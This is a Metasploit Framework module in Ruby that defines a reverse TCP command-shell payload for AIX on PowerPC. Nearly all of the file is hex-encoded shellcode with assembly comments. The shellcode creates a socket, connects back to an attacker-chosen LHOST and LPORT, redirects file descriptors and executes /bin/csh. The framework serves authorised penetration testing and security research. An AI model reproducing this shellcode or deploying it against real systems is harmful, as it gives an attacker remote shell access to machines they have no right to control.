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##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
require 'msf/core/handler/reverse_tcp'
require 'msf/base/sessions/command_shell'
require 'msf/base/sessions/command_shell_options'
module Metasploit3
include Msf::Payload::Single
include Msf::Payload::Aix
include Msf::Sessions::CommandShellOptions
def initialize(info = {})
super(merge_info(info,
'Name' => 'AIX Command Shell, Reverse TCP Inline',
'Version' => '$Revision$',
'Description' => 'Connect back to attacker and spawn a command shell',
'Author' => 'Ramon de C Valle',
'License' => MSF_LICENSE,
'Platform' => 'aix',
'Arch' => ARCH_PPC,
'Handler' => Msf::Handler::ReverseTcp,
'Session' => Msf::Sessions::CommandShellUnix,
'Payload' =>
{
'Offsets' =>
{
'LHOST' => [ 32, 'ADDR' ],
'LPORT' => [ 30, 'n' ],
},
}
))
end
def generate(*args)
super(*args)
payload =
"\x7c\xa5\x2a\x79" +# xor. r5,r5,r5 #
"\x40\x82\xff\xfd" +# bnel <cntsockcode> #
"\x7f\xc8\x02\xa6" +# mflr r30 #
"\x3b\xde\x01\xff" +# cal r30,511(r30) #
"\x3b\xde\xfe\x25" +# cal r30,-475(r30) #
"\x7f\xc9\x03\xa6" +# mtctr r30 #
"\x4e\x80\x04\x20" +# bctr #
"\xff\x02\x11\x5c" +# .long 0xff02115c #
"\x7f\x00\x00\x01" +# .long 0x7f000001 #
"\x4c\xc6\x33\x42" +# crorc 6,6,6 #
"\x44\xff\xff\x02" +# svca 0 #
"\x3b\xde\xff\xf8" +# cal r30,-8(r30) #
"\x3b\xa0\x07\xff" +# lil r29,2047 #
"\x38\x9d\xf8\x02" +# cal r4,-2046(r29) #
"\x38\x7d\xf8\x03" +# cal r3,-2045(r29) #
@cal_socket +
"\x7f\xc9\x03\xa6" +# mtctr r30 #
"\x4e\x80\x04\x21" +# bctrl #
"\x7c\x7c\x1b\x78" +# mr r28,r3 #
"\x38\xbd\xf8\x11" +# cal r5,-2031(r29) #
"\x38\x9e\xff\xf8" +# cal r4,-8(r30) #
@cal_connect +
"\x7f\xc9\x03\xa6" +# mtctr r30 #
"\x4e\x80\x04\x21" +# bctrl #
"\x3b\x7d\xf8\x03" +# cal r27,-2045(r29) #
"\x7f\x63\xdb\x78" +# mr r3,r27 #
@cal_close +
"\x7f\xc9\x03\xa6" +# mtctr r30 #
"\x4e\x80\x04\x21" +# bctrl #
"\x7f\x65\xdb\x78" +# mr r5,r27 #
"\x7c\x84\x22\x78" +# xor r4,r4,r4 #
"\x7f\x83\xe3\x78" +# mr r3,r28 #
@cal_kfcntl +
"\x7f\xc9\x03\xa6" +# mtctr r30 #
"\x4e\x80\x04\x21" +# bctrl #
"\x37\x7b\xff\xff" +# ai. r27,r27,-1 #
"\x40\x80\xff\xd4" +# bge <cntsockcode+100> #
"\x7c\xa5\x2a\x79" +# xor. r5,r5,r5 #
"\x40\x82\xff\xfd" +# bnel <cntsockcode+148> #
"\x7f\x08\x02\xa6" +# mflr r24 #
"\x3b\x18\x01\xff" +# cal r24,511(r24) #
"\x38\x78\xfe\x29" +# cal r3,-471(r24) #
"\x98\xb8\xfe\x31" +# stb r5,-463(r24) #
"\x94\xa1\xff\xfc" +# stu r5,-4(r1) #
"\x94\x61\xff\xfc" +# stu r3,-4(r1) #
"\x7c\x24\x0b\x78" +# mr r4,r1 #
@cal_execve +
"\x7f\xc9\x03\xa6" +# mtctr r30 #
"\x4e\x80\x04\x21" +# bctrl #
"/bin/csh"
# If the payload is generated and there are offsets to substitute,
# do that now.
if (payload and offsets)
substitute_vars(payload, offsets)
end
payload
end
end
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